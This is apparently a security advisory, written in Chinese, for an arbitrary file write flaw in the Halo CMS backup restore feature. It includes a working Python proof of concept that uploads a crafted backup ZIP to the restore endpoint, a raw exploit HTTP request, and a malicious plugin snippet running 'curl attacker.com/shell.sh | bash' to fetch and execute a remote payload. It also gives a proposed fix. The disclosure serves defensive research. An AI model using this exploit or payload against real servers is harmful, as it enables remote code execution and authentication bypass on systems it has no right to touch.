Halo CMS 至 2.25.4 版本的备份恢复功能中存在一个严重的任意文件写入漏洞。MigrationServiceImpl.java 中的 restoreWorkdir() 方法将用户提供的备份归档中的 workdir/ 目录直接复制到 Halo 应用程序的工作目录(~/.halo2/),且未对文件类型、路径遍历防护或符号链接进行任何验证。具有备份管理权限的已认证攻击者可以构造包含 workdir/ 目录中任意文件的恶意备份 ZIP 文件,该文件将在恢复时被写入服务器的工作目录,可能通过插件 JAR 替换导致远程代码执行(RCE),或通过 RSA 密钥替换导致身份验证绕过。
CVSS v3.1 评分: 8.8(高危)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73(外部控制文件名或路径)
该漏洞存在于 MigrationServiceImpl.java 的 restoreWorkdir() 方法中(第 230-243 行):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VULNERABLE LINE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
copyRecursively() 方法(Spring 的 FileSystemUtils)执行递归复制时缺少以下检查:
.. 序列该漏洞通过备份恢复端点触发:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
恢复过程按以下顺序执行:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → 将 ZIP 解压到临时目录 │
│ 2. restoreExtensions() → 恢复 extensions.data │
│ 3. restoreWorkdir() → 将 workdir/ 复制到 ~/.halo2/ │
│ ↑ 任意文件被写入工作目录 │
└─────────────────────────────────────────────────────────────┘
恶意备份 ZIP 文件必须包含:
malicious-backup.zip
├── extensions.data # 必需:可以为空或包含有效的 JSONL
└── workdir/ # 必需:内容将被复制到 ~/.halo2/
├── PWNED_BY_POC.txt # 概念验证标记文件
├── plugins/ # 用于 RCE 的插件 JAR
│ └── evil-plugin.jar # 恶意插件
└── keys/ # 用于身份验证绕过的 RSA 密钥
├── pat_id_rsa # 恶意私钥
└── pat_id_rsa.pub # 恶意公钥
extensions.data 文件必须有效才能使 restoreExtensions() 成功。有效格式包括:
空文件: (空内容)
空行:\n(仅换行符)
有效 JSONL:每行一个 ExtensionStore 对象:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
其中 data 为 base64 编码的内容。
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# 空的 extensions.data(通过 restoreExtensions 验证)
zf.writestr('extensions.data', '\n')
# 要写入 ~/.halo2/ 的任意文件
zf.writestr('workdir/PWNED_BY_POC.txt',
'Arbitrary file write confirmed!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
前端备份管理地址:http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# 在 Halo 服务器上
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/ 写入任意文件| 攻击向量 | 目标文件 | 影响 | 严重程度 |
|---|---|---|---|
| 插件 JAR 替换 | ~/.halo2/plugins/*.jar | 远程代码执行 | 严重 |
| RSA 密钥替换 | ~/.halo2/keys/pat_id_rsa | 身份验证绕过 | 严重 |
| 主题替换 | ~/.halo2/themes/* | 存储型 XSS | 高危 |
| 配置覆盖 | ~/.halo2/*.yaml | 安全控制绕过 | 高危 |
攻击者可以将合法插件 JAR 替换为包含以下内容的恶意 JAR:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// 执行任意命令
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
当插件被加载时,恶意代码将以 Halo 进程的权限执行。
#!/usr/bin/env python3
"""
Halo CMS 备份恢复任意文件写入 PoC
漏洞:备份恢复任意文件写入
CVSS:8.8(高危)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo backup restore arbitrary file write confirmed!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"状态码: {r.status_code}")
print(f"响应: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] 成功!检查:cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# 执行 PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# 在 Halo 服务器上
cat ~/.halo2/PWNED_BY_POC.txt
在 restoreWorkdir() 方法中添加验证:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// 验证无路径遍历
checkDirectoryTraversal(backupRoot, workdir);
// 验证无符号链接
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolic links not allowed");
}
return FileVisitResult.CONTINUE;
}
});
// 带验证的复制
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java本漏洞披露仅供安全研究目的使用。作者不对任何滥用此信息的行为负责。在测试系统漏洞之前,请务必获得适当的授权。